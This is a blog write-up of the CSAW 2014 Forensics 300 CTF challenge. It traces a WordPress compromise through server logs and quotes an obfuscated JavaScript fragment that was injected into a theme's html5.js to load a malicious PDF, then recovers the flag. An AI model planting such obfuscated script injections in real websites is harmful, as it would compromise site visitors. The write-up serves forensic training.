Monday, September 22, 2014

CSAW 2014 Forensics 300

CSAW 2014 Forensics 300 - FluffyNoMore

Description: OH NO WE'VE BEEN HACKED!!!!!! -- said the Eye Heart Fluffy Bunnies Blog owner. Life was grand for the fluff fanatic until one day the site's users started to get attacked! Apparently fluffy bunnies are not just a love of fun furry families but also furtive foreign governments. The notorious "Forgotten Freaks" hacking group was known to be targeting high powered politicians. Were the cute bunnies the next in their long list of conquests!?? Well... The fluff needs your stuff. I've pulled the logs from the server for you along with a backup of it's database and configuration. Figure out what is going on!
Written by brad_anton

After decompressing all the files we looked in various files to try and find malicious activity. Looking into the logs we found a suspicious command:

/usr/bin/apt-get install ssh-server
We now knew a SSH server had been installed onto the server, which was to be used to mess with the Fluffy website. The more interesting command was further below ending in:

/usr/bin/vi   /var/www/html/wp-content/themes/twentythirteen/js/html5.js

This was the only edit to a file made after the SSH server was installed. We opened the appropriate html5.js file within our extracted files, but did not notice anything suspicious until it was compared to another html5.js file within another one of the themes. The following code was extra to what we saw in the other html5.js file:

var g="ti";var c="HTML Tags";var f=". li colgroup br src datalist script option .";f = f.split(" ");c="";k="/";m=f[6];for(var i=0;i\</"+m+"\>");

Running the html5.js file at (in Firefox since it wouldn't work in Chrome) reveals a PDF containing a picture of Chris Angel. We downloaded the PDF and put it into PDF Stream Dumper. The 8th object had a variable which was storing a long hex string; when translated into ASCII the result contained a string which had the key:
 key{Those Fluffy Bunnies Make Tummy Bumpy}



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